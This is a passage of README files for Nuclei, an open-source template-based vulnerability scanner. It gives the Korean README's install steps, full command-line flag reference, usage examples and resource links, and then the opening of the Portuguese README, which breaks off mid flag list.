href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md\">한국어</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md\">스페인어</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md\">포르투갈어</a>\n</p>\n\n---\n\nNuclei는 템플릿을 기반으로 대상 간에 요청을 보내기 위해 사용되며 긍정 오류(false positives)가 0이고 다수의 호스트에서 빠른 스캔을 제공합니다. Nuclei는 TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless 등을 포함한 다양한 프로토콜의 스캔을 제공합니다. 강력하고 유연한 템플릿을 통해 Nuclei는 모든 종류의 보안 검사를 모델링 할 수 있습니다.\n\n**300명 이상의** 보안 연구원과 엔지니어가 제공한 다양한 유형의 취약점 템플릿을 보관하는 [전용 저장소](https://github.com/projectdiscovery/nuclei-templates)를 보유하고 있습니다.\n\n\n\n## 작동 방식\n\n<h3 align=\"center\">\n  <img src=\"static/nuclei-flow.jpg\" alt=\"nuclei-flow\" width=\"700px\"></a>\n</h3>\n\n\n# 설치\n\nNuclei를 성공적으로 설치하기 위해서 **go1.24.2**가 필요합니다. 다음 명령을 실행하여 최신 버전을 설치합니다.\n\n```sh\ngo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest\n```\n\n**자세한 설치 방법은 [여기](https://nuclei.projectdiscovery.io/nuclei/get-started/)에서 찾을 수 있습니다.**\n\n<table>\n<tr>\n<td>  \n\n### Nuclei 템플릿\n\nNuclei는 [v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2)부터 자동 템플릿 다운로드/업데이트를 기본으로 지원합니다.\n[**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) 프로젝트는 지속적으로 업데이트되는 즉시 사용 가능한 템플릿 목록을 제공합니다.\n\n`update-templates` 플래그를 사용하여 언제든 템플릿을 업데이트할 수 있습니다. Nuclei의 [템플릿 가이드](https://nuclei.projectdiscovery.io/templating-guide/)에 따라 개별 워크플로 및 요구 사항에 대한 자체 검사를 작성할 수 있습니다.\n\nYAML DSL의 참조 구문은 [여기](SYNTAX-REFERENCE.md)에서 확인할 수 있습니다.\n\n</td>\n</tr>\n</table>\n\n### 사용 방법\n\n```sh\nnuclei -h\n```\n\n도구에 대한 도움말이 표시됩니다. 다음은 지원하는 모든 스위치들입니다.\n\n\n```console\nNuclei는 빠르고, 템플릿 기반의 취약점 스캐너로\n넓은 설정 가능성, 대규모 확장성 및 사용 편의성에 중점을 두고 있습니다.\n\n사용법:\n  ./nuclei [flags]\n\nTARGET:\n   -u, -target string[]       스캔할 대상 URL/호스트\n   -l, -list string           스캔할 대상 URL/호스트 목록이 있는 파일 경로 (한 줄에 하나씩)\n   -resume string             지정된 파일에서 스캔을 재개하고 지정된 파일에 저장 (클러스터링은 비활성화됨)\n   -sa, -scan-all-ips         dns 레코드와 관련된 모든 IP 스캔\n   -iv, -ip-version string[]  스캔할 호스트의 IP 버전 (4,6) - (기본값 4)\n\nTEMPLATES:\n   -nt, -new-templates                    최신 nuclei-templates 릴리스에 추가된 새 템플릿만 실행\n   -ntv, -new-templates-version string[]  특정 버전에 추가된 새 템플릿 실행\n   -as, -automatic-scan                   wappalyzer 기술 감지를 사용하여 태그 매핑으로 자동 웹 스캔\n   -t, -templates string[]                실행할 템플릿 또는 템플릿 디렉토리 목록 (쉼표로 구분, 파일)\n   -turl, -template-url string[]          실행할 템플릿 url 또는 템플릿 url 목록 (쉼표로 구분, 파일)\n   -w, -workflows string[]                실행할 워크플로우 또는 워크플로우 디렉토리 목록 (쉼표로 구분, 파일)\n   -wurl, -workflow-url string[]          실행할 워크플로우 url 또는 워크플로우 url 목록 (쉼표로 구분, 파일)\n   -validate                              nuclei에 전달된 템플릿 검증\n   -nss, -no-strict-syntax                템플릿에서 엄격한 구문 검사 비활성화\n   -td, -template-display                 템플릿 내용 표시\n   -tl                                    사용 가능한 모든 템플릿 목록\n   -sign                                  NUCLEI_SIGNATURE_PRIVATE_KEY 환경 변수에서 정의된 개인 키로 템플릿에 서명\n   -code                                  코드 프로토콜 기반 템플릿 로딩 활성화\n\nFILTERING:\n   -a, -author string[]               저자를 기반으로 실행할 템플릿 (쉼표로 구분, 파일)\n   -tags string[]                     태그를 기반으로 실행할 템플릿 (쉼표로 구분, 파일)\n   -etags, -exclude-tags string[]     태그를 기반으로 제외할 템플릿 (쉼표로 구분, 파일)\n   -itags, -include-tags string[]     기본값 또는 구성에 의해 제외되더라도 실행되어야 하는 태그\n   -id, -template-id string[]         템플릿 id를 기반으로 실행할 템플릿 (쉼표로 구분, 파일, 와일드카드 허용)\n   -eid, -exclude-id string[]         템플릿 id를 기반으로 제외할 템플릿 (쉼표로 구분, 파일)\n   -it, -include-templates string[]   기본값 또는 구성에 의해 제외되더라도 실행되어야 하는 템플릿\n   -et, -exclude-templates string[]   제외할 템플릿 또는 템플릿 디렉토리 (쉼표로 구분, 파일)\n   -em, -exclude-matchers string[]    결과에서 제외할 템플릿 매처\n   -s, -severity value[]              심각도를 기반으로 실행할 템플릿. 가능한 값: info, low, medium, high, critical, unknown\n   -es, -exclude-severity value[]     심각도를 기반으로 제외할 템플릿. 가능한 값: info, low, medium, high, critical, unknown\n   -pt, -type value[]                 프로토콜 유형을 기반으로 실행할 템플릿. 가능한 값: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript\n   -ept, -exclude-type value[]        프로토콜 유형을 기반으로 제외할 템플릿. 가능한 값: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript\n   -tc, -template-condition string[]  표현식 조건을 기반으로 실행할 템플릿\n\nOUTPUT:\n   -o, -output string            발견된 문제/취약점을 작성할 출력 파일\n   -sresp, -store-resp           모든 요청/응답을 nuclei를 통해 출력 디렉토리에 저장\n   -srd, -store-resp-dir string  모든 요청/응답을 nuclei를 통해 사용자 정의 디렉토리에 저장 (기본값 \"output\")\n   -silent                       결과만 표시\n   -nc, -no-color                출력 내용 색상 비활성화 (ANSI 이스케이프 코드)\n   -j, -jsonl                    JSONL(ines) 형식으로 출력 작성\n   -irr, -include-rr -omit-raw   JSON, JSONL, Markdown 출력에 요청/응답 쌍 포함 (결과만 해당) [사용 중단 -omit-raw 사용] (기본값 true)\n   -or, -omit-raw                JSON, JSONL, Markdown 출력에서 요청/응답 쌍 생략 (결과만 해당)\n   -ot, -omit-template           JSON, JSONL 출력에서 인코딩된 템플릿 생략\n   -nm, -no-meta                 CLI 출력에서 결과 메타데이터 인쇄 비활성화\n   -ts, -timestamp               CLI 출력에 타임스탬프 인쇄 활성화\n   -rdb, -report-db string       nuclei 보고 데이터베이스 (보고 데이터를 유지하려면 항상 이것을 사용)\n   -ms, -matcher-status          매치 실패 상태 표시\n   -me, -markdown-export string  Markdown 형식으로 결과를 내보낼 디렉토리\n   -se, -sarif-export string     SARIF 형식으로 결과를 내보낼 파일\n   -je, -json-export string      JSON 형식으로 결과를 내보낼 파일\n   -jle, -jsonl-export string    JSONL(ine) 형식으로 결과를 내보낼 파일\n\nCONFIGURATIONS:\n   -config string                        nuclei 구성 파일 경로\n   -fr, -follow-redirects                http 템플릿에 대한 리디렉션 따라가기 활성화\n   -fhr, -follow-host-redirects          같은 호스트에서 리디렉션 따라가기\n   -mr, -max-redirects int               http 템플릿에 대해 따라갈 최대 리디렉션 수 (기본값 10)\n   -dr, -disable-redirects               http 템플릿에 대한 리디렉션 비활성화\n   -rc, -report-config string            nuclei 보고 모듈 구성 파일\n   -H, -header string[]                  모든 http 요청에 포함할 사용자 정의 헤더/쿠키 (header:value 형식) (cli, file)\n   -V, -var value                        key=value 형식의 사용자 정의 변수\n   -r, -resolvers string                 nuclei에 대한 리졸버 목록이 있는 파일\n   -sr, -system-resolvers                오류 대체로 시스템 DNS 해결 사용\n   -dc, -disable-clustering              요청 클러스터링 비활성화\n   -passive                              수동 HTTP 응답 처리 모드 활성화\n   -fh2, -force-http2                    요청에 http2 연결 강제\n   -ev, -env-vars                        템플릿에서 환경 변수 사용 활성화\n   -cc, -client-cert string              스캔 대상 호스트에 대한 인증에 사용되는 클라이언트 인증서 파일 (PEM 인코딩)\n   -ck, -client-key string               스캔 대상 호스트에 대한 인증에 사용되는 클라이언트 키 파일 (PEM 인코딩)\n   -ca, -client-ca string                스캔 대상 호스트에 대한 인증에 사용되는 클라이언트 인증서 기관 파일 (PEM 인코딩)\n   -sml, -show-match-line                파일 템플릿에 대한 매치 라인 표시, 추출기만 작동\n   -ztls                                 ztls 라이브러리 사용, tls13에 대한 표준 하나로 자동 대체 [사용 중단] 자동 대체는 기본적으로 ztls로 활성화됨\n   -sni string                           사용할 tls sni 호스트 이름 (기본값: 입력 도메인 이름)\n   -lfa, -allow-local-file-access        시스템 어디에서나 파일 (페이로드) 액세스 허용\n   -lna, -restrict-local-network-access  로컬 / 개인 네트워크로의 연결 차단\n   -i, -interface string                 네트워크 스캔에 사용할 네트워크 인터페이스\n   -at, -attack-type string              수행할 페이로드 조합 유형 (batteringram,pitchfork,clusterbomb)\n   -sip, -source-ip string               네트워크 스캔에 사용할 소스 IP 주소\n   -rsr, -response-size-read int         바이트 단위로 읽을 최대 응답 크기 (기본값 10485760)\n   -rss, -response-size-save int         바이트 단위로 읽을 최대 응답 크기 (기본값 1048576)\n   -reset                                reset은 모든 nuclei 구성 및 데이터 파일을 제거합니다 (nuclei-templates 포함)\n   -tlsi, -tls-impersonate               실험적인 클라이언트 hello (ja3) tls 무작위화 활성화\n\nINTERACTSH:\n   -iserver, -interactsh-server string  자체 호스팅 인스턴스를 위한 interactsh 서버 url (기본값: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)\n   -itoken, -interactsh-token string    자체 호스팅 interactsh 서버를 위한 인증 토큰\n   -interactions-cache-size int         상호 작용 캐시에 유지할 요청 수 (기본값 5000)\n   -interactions-eviction int           캐시에서 요청을 제거하기 전에 기다릴 초 수 (기본값 60)\n   -interactions-poll-duration int      각 상호 작용 폴 요청 사이에 기다릴 초 수 (기본값 5)\n   -interactions-cooldown-period int    종료 전에 상호 작용 폴링에 추가 시간 (기본값 5)\n   -ni, -no-interactsh                  OAST 테스트를 위한 interactsh 서버 비활성화, OAST 기반 템플릿 제외\n\nFUZZING:\n   -ft, -fuzzing-type string  템플릿에 설정된 퍼징 유형 재정의 (replace, prefix, postfix, infix)\n   -fm, -fuzzing-mode string  템플릿에 설정된 퍼징 모드 재정의 (multiple, single)\n\nUNCOVER:\n   -uc, -uncover                  uncover 엔진 활성화\n   -uq, -uncover-query string[]   uncover 검색 쿼리\n   -ue, -uncover-engine string[]  uncover 검색 엔진 (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (기본값 shodan)\n   -uf, -uncover-field string     반환할 uncover 필드 (ip,port,host) (기본값 \"ip:port\")\n   -ul, -uncover-limit int        반환할 uncover 결과 (기본값 100)\n   -ur, -uncover-ratelimit int    알려지지 않은 ratelimit의 엔진을 재정의하는 ratelimit (기본값 60 req/min) (기본값 60)\n\nRATE-LIMIT:\n   -rl, -rate-limit int               초당 보낼 최대 요청 수 (기본값 150)\n   -rlm, -rate-limit-minute int       분당 보낼 최대 요청 수\n   -bs, -bulk-size int                템플릿당 병렬로 분석할 최대 호스트 수 (기본값 25)\n   -c, -concurrency int               병렬로 실행할 최대 템플릿 수 (기본값 25)\n   -hbs, -headless-bulk-size int      템플릿당 병렬로 분석할 최대 headless 호스트 수 (기본값 10)\n   -headc, -headless-concurrency int  병렬로 실행할 최대 headless 템플릿 수 (기본값 10)\n   -tlc, -template-loading-concurrency int  최대 동시 템플릿 로딩 작업 수 (기본값 50)\n\nOPTIMIZATIONS:\n   -timeout int                     타임아웃 전에 기다릴 초 수 (기본값 10)\n   -retries int                     실패한 요청을 재시도하는 횟수 (기본값 1)\n   -ldp, -leave-default-ports       기본 HTTP/HTTPS 포트 남겨두기 (예: host:80,host:443)\n   -mhe, -max-host-error int        스캔에서 건너뛰기 전에 호스트에서 허용되는 최대 오류 수 (기본값 30)\n   -te, -track-error string[]       최대 호스트 오류 감시 목록에 주어진 오류 추가 (표준, 파일)\n   -nmhe, -no-mhe                   오류를 기반으로 스캔에서 호스트 건너뛰기 비활성화\n   -project                         동일한 요청을 여러 번 보내는 것을 피하기 위해 프로젝트 폴더 사용\n   -project-path string             특정 프로젝트 경로 설정 (기본값 \"/tmp\")\n   -spm, -stop-at-first-match       첫 번째 매치 후 HTTP 요청 처리 중지 (템플릿/워크플로우 로직이 깨질 수 있음)\n   -stream                          스트림 모드 - 입력 정렬 없이 시작\n   -ss, -scan-strategy value        스캔하는 동안 사용할 전략(auto/host-spray/template-spray) (기본값 auto)\n   -irt, -input-read-timeout value  입력 읽기 시간 초과 (기본값 3m0s)\n   -nh, -no-httpx                   비 URL 입력에 대한 httpx 프로브 비활성화\n   -no-stdin                        stdin 처리를 비활성화합니다\n\nHEADLESS:\n   -headless                        headless 브라우저 지원이 필요한 템플릿 활성화 (Linux의 root 사용자는 샌드박스 비활성화)\n   -page-timeout int                headless 모드에서 각 페이지를 기다리는 시간(초) (기본값 20)\n   -sb, -show-browser               headless 모드로 실행하는 템플릿에서 브라우저 화면 표시\n   -ho, -headless-options string[]  추가 옵션으로 headless chrome 시작\n   -sc, -system-chrome              nuclei가 설치한 Chrome 대신 로컬에 설치된 Chrome 브라우저 사용\n   -cdpe, -cdp-endpoint string      Chrome DevTools Protocol (CDP) 엔드포인트를 통한 원격 브라우저 사용\n   -lha, -list-headless-action      사용 가능한 headless 액션 목록 표시\n\nDEBUG:\n   -debug                    모든 요청과 응답 표시\n   -dreq, -debug-req         보낸 모든 요청 표시\n   -dresp, -debug-resp       받은 모든 응답 표시\n   -p, -proxy string[]       사용할 http/socks5 프록시 목록 (쉼표로 구분하거나 파일 입력)\n   -pi, -proxy-internal      모든 내부 요청을 프록시를 통해 전송\n   -ldf, -list-dsl-function  지원되는 모든 DSL 함수 시그니처 목록 표시\n   -tlog, -trace-log string  보낸 요청 추적 로그를 기록할 파일\n   -elog, -error-log string  보낸 요청 오류 로그를 기록할 파일\n   -version                  nuclei 버전 표시\n   -hm, -hang-monitor        nuclei 멈춤 모니터링 활성화\n   -v, -verbose              자세한 출력 표시\n   -profile-mem string       선택적인 nuclei 메모리 프로필 덤프 파일\n   -vv                       스캔에 로드된 템플릿 표시\n   -svd, -show-var-dump      디버깅을 위한 변수 덤프 표시\n   -ep, -enable-pprof        pprof 디버깅 서버 활성화\n   -tv, -templates-version   설치된 nuclei-templates의 버전 표시\n   -hc, -health-check        진단 검사 실행\n\nUPDATE:\n   -up, -update                      최신 릴리스 버전으로 nuclei 엔진 업데이트\n   -ut, -update-templates            최신 릴리스 버전으로 nuclei-templates 업데이트\n   -ud, -update-template-dir string  nuclei-templates를 설치/업데이트할 사용자 지정 디렉토리\n   -duc, -disable-update-check       자동 nuclei/templates 업데이트 확인 비활성화\n\nSTATISTICS:\n   -stats                    실행 중인 스캔에 대한 통계 표시\n   -sj, -stats-json          JSONL(ines) 형식으로 통계 표시\n   -si, -stats-interval int  통계 업데이트를 표시하기까지 기다릴 초 수 (기본값 5)\n   -mp, -metrics-port int    nuclei 메트릭스를 노출할 포트 (기본값 9092)\n\nCLOUD:\n   -auth                  projectdiscovery 클라우드 (pdcp) API 키 구성\n   -cup, -cloud-upload    스캔 결과를 pdcp 대시보드에 업로드\n   -sid, -scan-id string  주어진 스캔 ID에 스캔 결과 업로드\n\n\n예시:\n단일 호스트에서 nuclei 실행:\n\t$ nuclei -target example.com\n\n특정 템플릿 디렉토리로 nuclei 실행:\n\t$ nuclei -target example.com -t http/cves/ -t ssl\n\n호스트 목록에 대해 nuclei 실행:\n\t$ nuclei -list hosts.txt\n\nJSON 출력으로 nuclei 실행:\n\t$ nuclei -target example.com -json-export output.json\n\n정렬된 Markdown 출력으로 nuclei 실행 (환경 변수 사용):\n\t$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/\n\n추가 문서는 여기에서 확인할 수 있습니다: https://docs.projectdiscovery.io/getting-started/running\n```\n\n### Nuclei 실행\n\n[community-curated](https://github.com/projectdiscovery/nuclei-templates) nuclei 템플릿으로 대상 도메인을 스캔합니다.\n\n```sh\nnuclei -u https://example.com\n```\n\n[community-curated](https://github.com/projectdiscovery/nuclei-templates) nuclei 템플릿으로 대상 URL들을 스캔합니다.\n\n```sh\nnuclei -list urls.txt\n```\n\n`urls.txt`의 예시:\n\n```yaml\nhttp://example.com\nhttp://app.example.com\nhttp://test.example.com\nhttp://uat.example.com\n```\n\n**nuclei를 실행하는 자세한 예는 [여기](https://nuclei.projectdiscovery.io/nuclei/get-started/#running-nuclei)에서 찾을 수 있습니다.**\n\n# 보안 엔지니어를 위한\n\nNuclei는 보안 엔지니어가 조직에서 워크플로를 커스텀하는 데 도움이 되는 많은 기능을 제공합니다.\n다양한 스캔 기능(DNS, HTTP, TCP 등)을 통해 보안 엔지니어는 Nuclei를 사용하여 맞춤형 검사 세트를 쉽게 만들 수 있습니다.\n\n- 다양한 프로토콜 지원: TCP, DNS, HTTP, File, etc\n- 워크플로 및 [동적 요청](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/)을 통한 복잡한 취약점 탐색 달성\n- CI/CD에 쉽게 통합할 수 있으며, 회귀 주기에 쉽게 통합되어 취약점의 수정 및 재출현을 능동적으로 확인할 수 있도록 설계됨.\n\n<h1 align=\"left\">\n  <a href=\"https://nuclei.projectdiscovery.io/nuclei/get-started/\"><img src=\"static/learn-more-button.png\" width=\"170px\" alt=\"Learn More\"></a>\n</h1>\n\n<table>\n<tr>\n<td>  \n\n**Bug Bounty hunter들을 위해:**\n\nNuclei를 사용하면 자체 검사 모음으로 테스트 접근 방식을 사용자 정의하고 버그 바운티 프로그램에서 쉽게 실행할 수 있습니다.\n또한 Nuclei는 모든 연속 스캔 워크플로에 쉽게 통합될 수 있습니다.\n\n- 다른 도구 워크플로에 쉽게 통합되도록 설계됨.\n- 몇 분 안에 수천 개의 호스트를 처리할 수 있음.\n- 간단한 YAML DSL로 사용자 지정 테스트 접근 방식을 쉽게 자동화할 수 있음.\n\n버그 바운티 워크플로에 맞는 다른 오픈 소스 프로젝트를 확인할 수 있습니다.: [github.com/projectdiscovery](https://github.com/projectdiscovery), 또한, 우리는 매일 [Chaos에서 DNS 데이터를 갱신해 호스팅합니다](https://chaos.projectdiscovery.io).\n\n</td>\n</tr>\n</table>\n\n<table>\n<tr>\n<td>\n  \n**침투 테스터들을 위해:**\n\nNuclei는 수동적이고 반복적인 프로세스를 보강하여 보안 평가에 접근하는 방식을 크게 개선합니다.\n컨설턴트들은 이미 Nuclei를 사용해 수동 평가 단계를 전환하고 있으며 이를 통해 수천 개의 호스트에서 자동화된 방식으로 맞춤형 평가 접근 방식을 실행할 수 있습니다.\n\n침투 테스터는 평가 프로세스, 특히 수정 사항을 쉽게 확인할 수 있는 회귀 주기를 통해 공개 템플릿 및 사용자 지정 기능을 최대한 활용할 수 있습니다.\n\n- 규정 준수, 표준 제품군(예: OWASP Top 10) 체크리스트 쉽게 생성.\n- Nuclei의 [fuzz](https://nuclei.projectdiscovery.io/templating-guide/protocols/http-fuzzing/) 및 [workflows](https://nuclei.projectdiscovery.io/templating-guide/workflows/) 같은 기능으로 복잡한 수동 단계와 반복 평가를 쉽게 자동화할 수 있음.\n- 템플릿 재실행으로 취약점 수정 재테스트 용이.\n\n</td>\n</tr>\n</table>\n\n\n# 개발자를 위한\n\nNuclei는 단순성을 염두에 두고 구축되었으며 수백 명의 보안 연구원들이 지원하는 커뮤니티 템플릿을 사용하여 호스트에서 지속적인 Nuclei 스캔을 사용하여 최신 보안 위협에 대한 업데이트를 유지할 수 있습니다.\n\n수정 사항을 검증하고 향후 발생하는 취약점을 제거하기 위해 회귀 테스트 주기에 쉽게 통합되도록 설계되었습니다.\n\n- **CI/CD:** 엔지니어들은 이미 CI/CD 파이프라인 내에서 Nuclei를 활용하고 있으며 이를 통해 맞춤형 템플릿으로 스테이징 및 프로덕션 환경을 지속적으로 모니터링할 수 있습니다.\n- **Continuous Regression Cycle:** Nuclei를 사용하면 새로 식별된 모든 취약점에 대한 사용자 지정 템플릿을 만들고 Nuclei 엔진에 넣어 지속적인 회귀 주기에서 제거할 수 있습니다.\n\n[이 문제에 대한 논의 스레드](https://github.com/projectdiscovery/nuclei-templates/discussions/693)가 있으며, Nuclei 템플릿을 작성해 제출할 때마다 해커에게 인센티브를 제공하는 버그 바운티 프로그램들이 존재합니다. 이 프로그램은 모든 자산에서 취약점을 제거할 뿐만 아니라 미래에 프로덕션에 다시 등장할 위험을 제거할 수 있도록 도와줍니다.\n이것을 당신의 조직에서 구현하는 것에 관심이 있다면 언제든지 [저희에게 연락하십시오](mailto:contact@projectdiscovery.io).\n시작하는 과정에서 기꺼이 도와드리거나 [도움이 필요한 경우 논의 스레드](https://github.com/projectdiscovery/nuclei-templates/discussions/693)에 게시할 수도 있습니다.\n\n<h3 align=\"center\">\n  <img src=\"static/regression-with-nuclei.jpg\" alt=\"regression-cycle-with-nuclei\" width=\"1100px\"></a>\n</h3>\n\n<h1 align=\"left\">\n  <a href=\"https://github.com/projectdiscovery/nuclei-action\"><img src=\"static/learn-more-button.png\" width=\"170px\" alt=\"Learn More\"></a>\n</h1>\n\n### Resources\n\n- [Finding bugs with Nuclei with PinkDraconian (Robbe Van Roey)](https://www.youtube.com/watch?v=ewP0xVPW-Pk) by **[@PinkDraconian](https://twitter.com/PinkDraconian)** \n- [Nuclei: Packing a Punch with Vulnerability Scanning](https://bishopfox.com/blog/nuclei-vulnerability-scan) by **Bishopfox**\n- [The WAF efficacy framework](https://www.fastly.com/blog/the-waf-efficacy-framework-measuring-the-effectiveness-of-your-waf) by **Fastly**\n- [Scanning Live Web Applications with Nuclei in CI/CD Pipeline](https://blog.escape.tech/devsecops-part-iii-scanning-live-web-applications/) by **[@TristanKalos](https://twitter.com/TristanKalos)**\n- [Community Powered Scanning with Nuclei](https://blog.projectdiscovery.io/community-powered-scanning-with-nuclei/)\n- [Nuclei Unleashed - Quickly write complex exploits](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/)\n- [Nuclei - Fuzz all the things](https://blog.projectdiscovery.io/nuclei-fuzz-all-the-things/)\n- [Nuclei + Interactsh Integration for Automating OOB Testing](https://blog.projectdiscovery.io/nuclei-interactsh-integration/)\n- [Weaponizes nuclei Workflows to Pwn All the Things](https://medium.com/@dwisiswant0/weaponizes-nuclei-workflows-to-pwn-all-the-things-cd01223feb77) by **[@dwisiswant0](https://github.com/dwisiswant0)**\n- [How to Scan Continuously with Nuclei?](https://medium.com/@dwisiswant0/how-to-scan-continuously-with-nuclei-fcb7e9d8b8b9) by **[@dwisiswant0](https://github.com/dwisiswant0)**\n- [Hack with Automation !!!](https://dhiyaneshgeek.github.io/web/security/2021/07/19/hack-with-automation/) by **[@DhiyaneshGeek](https://github.com/DhiyaneshGeek)**\n\n### Credits\n\nThanks to all the amazing community [contributors for sending PRs](https://github.com/projectdiscovery/nuclei/graphs/contributors). Do also check out the below similar open-source projects that may fit in your workflow:\n\n[FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop)\n\n### License\n\nNuclei is distributed under [MIT License](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)\n\n<h1 align=\"left\">\n  <a href=\"https://discord.gg/projectdiscovery\"><img src=\"static/Join-Discord.png\" width=\"380\" alt=\"Join Discord\"></a> <a href=\"https://nuclei.projectdiscovery.io\"><img src=\"static/check-nuclei-documentation.png\" width=\"380\" alt=\"Check Nuclei Documentation\"></a>\n</h1>\n"
  },
  {
    "path": "README_PT-BR.md",
    "content": "<h1 align=\"center\">\n  <br>\n  <a href=\"https://nuclei.projectdiscovery.io\"><img src=\"static/nuclei-logo.png\" width=\"200px\" alt=\"Nuclei\"></a>\n</h1>\n\n<h4 align=\"center\">Scanner de vulnerabilidades rápido e personalizável baseado em uma DSL simples baseada em YAML.</h4>\n\n\n<p align=\"center\">\n<img src=\"https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/releases\"><img src=\"https://img.shields.io/github/downloads/projectdiscovery/nuclei/total\">\n<a href=\"https://github.com/projectdiscovery/nuclei/graphs/contributors\"><img src=\"https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/releases/\"><img src=\"https://img.shields.io/github/release/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/issues\"><img src=\"https://img.shields.io/github/issues-raw/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/discussions\"><img src=\"https://img.shields.io/github/discussions/projectdiscovery/nuclei\">\n<a href=\"https://discord.gg/projectdiscovery\"><img src=\"https://img.shields.io/discord/695645237418131507.svg?logo=discord\"></a>\n<a href=\"https://twitter.com/pdnuclei\"><img src=\"https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter\"></a>\n</p>\n\n<p align=\"center\">\n  <a href=\"#como-funciona\">Como funciona</a> •\n  <a href=\"#instalacao-do-nuclei\">Instalação</a> •\n  <a href=\"https://docs.projectdiscovery.io/tools/nuclei/\">Documentação</a> •\n  <a href=\"#créditos\">Créditos</a> •\n  <a href=\"https://docs.projectdiscovery.io/tools/nuclei/faq\">Perguntas Frequentes</a> •\n  <a href=\"https://discord.gg/projectdiscovery\">Junte-se ao Discord</a>\n</p>\n\n<p align=\"center\">\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README.md\">English</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md\">中文</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md\">Korean</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md\">Indonesia</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md\">Spanish</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md\">Portuguese</a>\n</p>\n\n---\n\nO Nuclei é utilizado para enviar solicitações para vários alvos baseados em um modelo, resultando em zero falsos positivos e proporcionando uma varredura rápida em um grande número de hosts. O Nuclei oferece suporte a uma variedade de protocolos, incluindo TCP, DNS, HTTP, SSL, Arquivo, Whois, Websocket, Headless, Código, entre outros. Com modelos poderosos e flexíveis, o Nuclei pode ser usado para modelar todos os tipos de verificações de segurança.\n\nTemos um [repositório dedicado](https://github.com/projectdiscovery/nuclei-templates) que abriga vários tipos de modelos de vulnerabilidades, contribuídos por **mais de 300** pesquisadores e engenheiros de segurança.\n\n## Como funciona\n\n\n<h3 align=\"center\">\n  <img src=\"static/nuclei-flow.jpg\" alt=\"nuclei-flow\" width=\"700px\"></a>\n</h3>\n\n\n| :exclamation:  **Aviso**  |\n|---------------------------------|\n| **Este projeto está em desenvolvimento ativo**. Alterações significativas são esperadas em versões futuras. Consulte o changelog antes de atualizar. |\n| Este projeto foi desenvolvido principalmente para ser usado como uma ferramenta CLI independente. **Executar o Nuclei como um serviço pode implicar riscos de segurança.** É recomendável utilizá-lo com precaução e medidas de segurança adicionais. |\n\n# Instalação do Nuclei\n\nO Nuclei requer **go1.24.2** para ser instalado corretamente. Execute o seguinte comando para instalar a versão mais recente:\n\n```sh\ngo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest\n```\n\n<details>\n  <summary>Brew</summary>\n  \n  ```sh\n  brew install nuclei\n  ```\n  \n</details>\n<details>\n  <summary>Docker</summary>\n  \n  ```sh\n  docker pull projectdiscovery/nuclei:latest\n  ```\n  \n</details>\n\n**Mais métodos de instalação [podem ser encontrados aqui](https://docs.projectdiscovery.io/tools/nuclei/install).**\n\n<table>\n<tr>\n<td>  \n\n### Modelos do Nuclei\n\nO Nuclei possui suporte integrado para download/atualização automática de modelos a partir da versão [v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2). O projeto [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) fornece uma lista de modelos prontos para uso, atualizados constantemente pela comunidade.\n\nVocê também pode usar a flag `update-templates` para atualizar os modelos do Nuclei a qualquer momento; também pode criar seus próprios testes para seu fluxo de trabalho e necessidades específicas seguindo o [guia de modelos](https://docs.projectdiscovery.io/templates/) do Nuclei.\n\nA referência de sintaxe YAML DSL está disponível [aqui](SYNTAX-REFERENCE.md).\n\n</td>\n</tr>\n</table>\n\n### Uso\n\n```sh\nnuclei -h\n```\n\nIsso mostrará ajuda sobre a ferramenta. Aqui estão todas as opções que ela suporta.\n\n\n```console\nNuclei é um scanner de vulnerabilidades rápido e baseado em templates  \nque se concentra em sua ampla configurabilidade, extensibilidade e facilidade de uso.\n\nUsage:\n  ./nuclei [flags]\n\nFlags:\nTARGET:\n   -u, -target string[]          URLs/hosts a serem escaneados\n   -l, -list string              caminho do arquivo contendo a lista de URLs/hosts a serem escaneados (um por linha)\n   -eh, -exclude-hosts string[]  hosts a serem excluídos do escaneamento na lista de entrada (ip, cidr, hostname)\n   -resume string                retomar o escaneamento a partir de e salvar no arquivo especificado (a clusterização será desabilitada)\n   -sa, -scan-all-ips            